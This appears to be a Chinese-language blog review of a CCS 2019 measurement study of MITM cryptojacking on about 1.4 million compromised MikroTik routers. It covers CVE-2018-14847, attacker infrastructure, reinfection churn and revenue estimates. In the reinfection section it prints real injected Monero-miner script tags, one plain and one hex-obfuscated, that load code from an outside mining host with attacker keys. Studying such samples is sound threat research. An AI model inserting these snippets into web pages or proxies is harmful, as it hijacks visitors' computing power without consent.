论文链接:https://www.cyber-threat-intelligence.com/publications/CCS2019-router.pdf

该论文来自代尔夫特理工大学由 Christian Doerr 带领的网络威胁情报实验室,该实验室主要从事互联网威胁情报分析,网络攻击分析等研究。

背景知识

CVE-2018-14847

该漏洞是一个未授权的任意文件读取漏洞,利用该漏洞可以实现任意文件读取,进而获得用户名密码。结合内置的开发者后门,利用内置用户 devel + admin 用户密码,可以实现登录获取 root shell。

该漏洞的利用流程如下:

CVE-2018-14847

Cryptojacking by MITM

利用中间人攻击进行挖矿的主要分为四个步骤:

  1. 所有连向端口 80 的连接都被重定向到代理端口 8080
  2. 代理端口会同时加载两个资源,第一个是挖矿相关的资源,第二个则是原本请求的网络资源,然后二者会以左图的方式进行拼接。
  3. 浏览器通过 WebSocket 与一个 WebSocket 代理或者某个矿池建立连接
  4. 用特定的 key 启动 WebWorkers 并开始挖矿

MITM

主要内容

自从 CoinHive 在 2017 年引入了可以在浏览器上运行的 JavaScript 挖矿脚本后,网页挖矿作为一种替代广告的盈利方式,逐渐被广泛应用并引起了学术界的关注。但现有的研究仍然着眼于最基础的挖矿网页和相应产业的评估,没有注意到一种结合了网页挖矿和中间人攻击的新式利用方式已经悄然流行开来。

为此,作者通过对一段时期内的网络流量进行分析,发现了该攻击在十个月内感染了高达140万路由器,巅峰时期内同时有 46 万个路由器被感染。同时,该项攻击呈现出的系统化的特性,其中前 10 个收入最高的帐户每月获利估计超过 120 万美元,是之前黑客通过入侵网站或者恶意广告和网站所有者发起的网页挖矿收益的30倍。

数据集

该数据集分为三个部分:

  • Network Telescope - 监控了约 13 万个 IP 地址,用于分析端口扫描数据
  • Censys and Shodan - 搜索引擎,用于搜索相关设备
  • Operator NetFlows - 来自一级运营商的网络数据,以 1:8192 的采样率采集
数据集 Time frame Size Usage in analysis
Telescope Jan 2018 – Jan 2019 1.6 GB Adversarial identification through port scanning
Censys Jul 2018 – Apr 2019 43 GB Adversarial targeted scanning, Infections and re-infections, System architecture, Monetization configuration, Ecosystem
Shodan Jul 2018 – Apr 2019 236 GB Adversarial use of public datasets, System architecture
NetFlows Jan 2018 – Jan 2019 3.2 TB Characterization of port scanning, System architecture, Evolution of monetization, Maintenance patterns, Revenue and ecosystem

数据分析

作者总结了基于中间人攻击的挖矿的生命周期,主要分为五个部分,然后作者将针对每个部分进行分析:

LifeCycle

Identification

Packets

观察上图可以发现一个很明显的现象是,在 4 月 23 号该漏洞被披露之前的 3 月 24 号,Hajime 僵尸网络就已经对 Internet 上的端口执行了集中扫描,因此相应的流量激增了 6 个数量级。但在漏洞披露后,针对 8291 端口的扫描仅仅增长了部分,而这和以往漏洞披露后针对相应漏洞的威胁激增的现象大不相同。

下图是确认受影响的 IP 地址和相应地理位置的对应图:

Geographical location

Vulnerability Exploitation

下图描绘了 140 万个路由器间的密钥转化行为:

Reinfections

iWDUFDByMzv3aff2ba 再到 ef18c8 这样一个经典的序列验证了这种转化的存在,可以看到节点向同一个方向进行迁移。

伴随着密钥更新的同时还有代码的更新,可以看到上一段代码在某次被重新感染后就会变成下一段的代码:

<script src="https://xmr.omine.org/assets/v7.js"></script> <script>OMINEId(\"4983e34ef01b4b579725b3a228e59e79\",\"-1\"); throttleMiner=10; </script>
<script src="https://xmr.omine.org/assets/v7.js"></script>
<script>var _0xdafb=['\\x34\\x39\\x38\\x33\\x65\\x33\\x34\\x65\\x66\\x30\\x31 \\x62\\x34\\x62\\x35\\x37\\x39\\x37\\x32\\x35\\x62\\x33\\x61\\x32\\x32\\x38 \\x65\\x35\\x39\\x65\\x37\\x39']; OMINEId(_0xbdaf('0x0'),'\\x2d\\x31');throttleMiner=0xa;</script>

总的来说,约 55% 左右的路由器会被超过一个以上的密钥感染,约 15% 的 MikroTik 设备会被超过 5 个以上的密钥感染。

Infection Consolidation

Node to node reconnaissance

作者发现流向 8291端口的流量的 6.5%是从其它受感染的 MikroTik 路由器发送的。此外有 948 台受感染的路由器,它们会扫描其本地子网来寻找端口 8291 上其他易受攻击的路由器。

Infrastructure

作者发现,基于 MITM 的网页挖矿一般呈以下结构:

system architecture

受控制的路由器会定期通过 2008 端口和命令控制服务器交互(平均 30 秒),或者通过 SSH 协议由攻击者控制。作者发现的具有此典型结构的是密钥 hsFAjj 所控制的服务器,此外受到 SK_LCxoDcuak 感染的设备在生命周期的最后也有表现出类似的行为。

Monetization

一般来说,通过控制的路由器获得收益的方式有以下三种:

  1. HTTP Proxies
  2. Socks Proxies
  3. Cryptojacking Proxies

三者之中很明显收益最大的是挖矿式的代理,但这里作者发现的一个有意思的现象是 HTTP 代理似乎并没有带来任何收益,因为在 3 天内,这些代理中的 95% 就被发布到了免费的公共代理列表中。

下图是攻击者所使用的挖矿服务与时间的关系,可以看到最主流的挖矿服务主要还是 Coinhive、CoinImp 和 Omine 三家。

CDF

通过观察挖矿时间和相应占比的 CDF 图可以发现,和之前论文相比该攻击更具有持久性,50% 会在 18 天内才被修复,有约 30% 设备会存活超过 50 天。

infected per day

通过观察新被感染设备与总感染设备的趋势图可以看到,整个生态系统在 1 月下旬发生了巨大变化了,最明显的是参与设备数明显变少,约 87% 的感染路由器从名单中消失了。但这里并没有一个合理的解释,既没有官方的修复或者是见义勇为的白帽子,在作者咨询了 censys 之后排除了扫描策略变化的影响。可以说这种突然断崖式的减少也是研究过程中的一个有趣的发现。

Maintenance

一般在获得了一台路由器的权限并不断获利后,下一个需要思考的目标就是如何维持自己的权限。一般来说会利用 SSH 和 Telnet 进行权限的维持。这里一个有意思的发现是,仅有 oDcuakSK_LCxhsFAjj 三个相关的攻击者有表现出类似的行为,而且它们会在同一个时间点连接同一个服务器,这不禁让人怀疑它们背后其实由同一个团体所操控。

比如在 2018 年 8 月 3 号到 20 号间,这三个密钥相关的路由器会和 236.197.108.8 建立 SSH 连接,不过 在 11 号到 14 号间,它们会与 236.247.130.64 建立 SSH 连接。建立 SSH 连接的时间主要在午夜或是 16-19 点这个时间段内。

收益量化

关于网页挖矿的研究中最重要的一个问题就是如何量化产业链的收益?同之前的网页挖矿相比,基于路由器的中间人挖矿具备规模大、受害者多,且持续时间更长(约 30% 的挖矿会持续50天以上)等特点,带来的收益必然显著高于普通的挖矿。

作者这里借鉴了 Minesweeper 中的收益计算公式:

traffic [# flows] × avg. time [s] × mining rate [XMR/s] × value [$/XMR] = profit [$]

不同于之前针对网页挖矿的研究可以直接根据 SimilarWeb 的页面访问量和停留时间计算出整体的访问量,所以这里作者利用 Alexa 前一万的页面平均访问时间 293s 作为平均访问时间,假设桌面和移动平台的挖矿速率是 25 次哈希每秒,通过建立的连接数对挖矿收益进行统计。

两个方法间具体的差异可以参照下表:

Parameter Methodology in Minesweeper This study
Number of visitors SimilarWeb estimations # of NetFlows on port 80
Average hashing rate SimilarWeb estimations desktop / mobile: 25 H /s
Monero market value $253 as of May ‘18 $253 for equal comparison
Time on website SimilarWeb estimations Average, 1st / 3rd quartile

根据公式,可以计算出的结果如下图所示,可以看到收益前 10 的挖矿团体每月可获利超过 120 万美元,远远高于之前关于网页挖矿的 41000 美元月收益的估算。

Profit

另外两个有意思的发现,一是创新和先制优势并不会体现到收益中,可以看到虽然 hsFAjj 代表的攻击者虽然是最早也是最成体系的一方,但其收益并没有高于 6a9929 代表的攻击者,二是路由器的数量并不能决定收益,这个原因也非常明显,因为相比路由器的数量,路由器的类型更为关键,一个电信级或者企业级路由器能影响的范围不是一个普通的消费级路由器能比的。

总结

本篇论文提出了关于 cryptojacking 的一种全新的攻击方式——基于 MITM 的攻击,并在此基础上进行了深入的 Measurement。根据作者对数据集的分析,可以发现在 2018-2019 间,共有超过 140 万的路由器被攻陷,约占已部署的 MikroTik 路由器的 70%,从中攻击者可以获得超过每月 120 万美元的收益。此外,在对数据集分析的过程中,作者也得出了一些相当有意思的结论,比如说创新和先发优势并不代表收益,有些时候简单快速地侵占更多路由器才有可能带来更多的收益。

总的来说,作者在目前研究普遍关注对 cryptojacking 的检测的情况下,创新性地发现了一种全新攻击模式并对该模式进行了详细分析,对于我们在威胁情报分析领域的研究有着非常重要的借鉴参考意义。

参考链接